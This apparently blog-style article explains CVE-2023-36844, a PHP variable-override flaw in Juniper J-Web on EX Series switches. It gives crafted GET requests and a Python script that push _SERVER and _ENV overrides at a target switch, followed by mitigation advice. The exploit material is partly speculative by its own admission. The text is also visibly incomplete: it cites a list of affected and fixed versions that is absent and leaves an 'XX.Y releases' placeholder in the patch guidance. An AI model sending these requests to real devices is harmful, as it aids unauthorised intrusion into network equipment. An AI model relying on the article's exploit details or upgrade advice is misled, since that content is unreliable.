CVE-2023-36844 - Exploiting a PHP External Variable Modification in Juniper Networks Junos OS (EX Series)

Juniper Networks recently disclosed CVE-2023-36844, a critical vulnerability that allows an unauthenticated attacker to control certain PHP environment variables in the J-Web interface of Junos OS running on EX Series switches. This kind of issue can let attackers partially compromise the system’s integrity, and it may also be chained with other vulnerabilities — making it a serious threat if left unpatched.

In this article, we’ll break down the vulnerability, show how the exploitation works in simple terms, include code snippets, and point you to original reference material. Let’s get started!

What is CVE-2023-36844?

Category: External Variable Modification in PHP  
Affects: Junos OS on EX Series (various versions, see below)  
Impact: Allows unauthenticated attackers to control critical PHP environment variables, potentially leading to further exploitation  
Attack Vector: Remote (network-based, no authentication required)

How Does the Vulnerability Work?

J-Web is a PHP-based web interface for managing Juniper EX Series switches. Due to improper input handling, J-Web does not sanitize incoming HTTP request variables correctly. That allows a remote attacker to craft a request that injects or overwrites sensitive PHP environment variables.

Potentially trigger or chain other vulnerabilities

While this bug alone may not give immediate full remote code execution, it can undermine the device’s security significantly — and skilled attackers often use such flaws as part of a broader attack.

Proof-of-Concept: Exploiting CVE-2023-36844

The core idea is sending a crafted HTTP request that sets critical PHP variables like PHP_SELF, PATH_TRANSLATED, or even superglobals (like $_SERVER vars), depending on the application’s weaknesses.

Here’s a simplified example simulating how an attacker could probe or manipulate a PHP variable via a normal GET request:

GET /index.php?_SERVER[REMOTE_ADDR]=1.2.3.4 HTTP/1.1
Host: target-j-web-host

In certain vulnerable setups, this could allow the attacker to override the REMOTE_ADDR variable, which could influence trust or authentication checks.

A more malicious crafted request could set variables tied to file inclusion paths, like

GET /index.php?_ENV[PATH]=/tmp/malicious HTTP/1.1
Host: target-j-web-host

Disclaimer: The *actual attack surface and impact depend on how J-Web processes variables internally*, but such requests are the initial step.

Exploit Example in Python

Here’s a minimal Python script that demonstrates automated exploitation against a vulnerable J-Web instance:

import requests

target = 'http://192.168.1.100';  # Change to the IP of your target switch
url = f'{target}/index.php'

# Attempt to set an environment variable
payload = {
    '_ENV[PATH]': '/tmp/evil_folder'
}

resp = requests.get(url, params=payload)
print(resp.text)

*If successful, the server-side PHP script would now see PATH set to /tmp/evil_folder.*

Mitigation and Remediation

Patch Now:  
Check Juniper’s official advisory (JSA76397) for fix details. Upgrade to at least:

XX.Y releases according to the list above

Disable J-Web:

If you don’t use J-Web, disable it completely using CLI

delete system services web-management http
delete system services web-management https
commit

Restrict Network Access:
Ensure only trusted networks can access the management interface.

References

- CVE-2023-36844 (NVD)
- Juniper Security Advisory JSA76397
- OWASP: Manipulating PHP Global Variables
- PHP Variable Variable security (PHP documentation)

Wrapping Up

CVE-2023-36844 proves how web application programming mistakes — even on hardened network appliances — can introduce serious vulnerabilities. By messing with PHP variables over network requests, attackers can lay the groundwork for more advanced hacks without even logging in.

If you’re responsible for Junos OS infrastructure, update immediately and lock down that management interface!

Timeline

Published on: 08/17/2023 20:15:00 UTC
Last modified on: 08/18/2023 12:43:00 UTC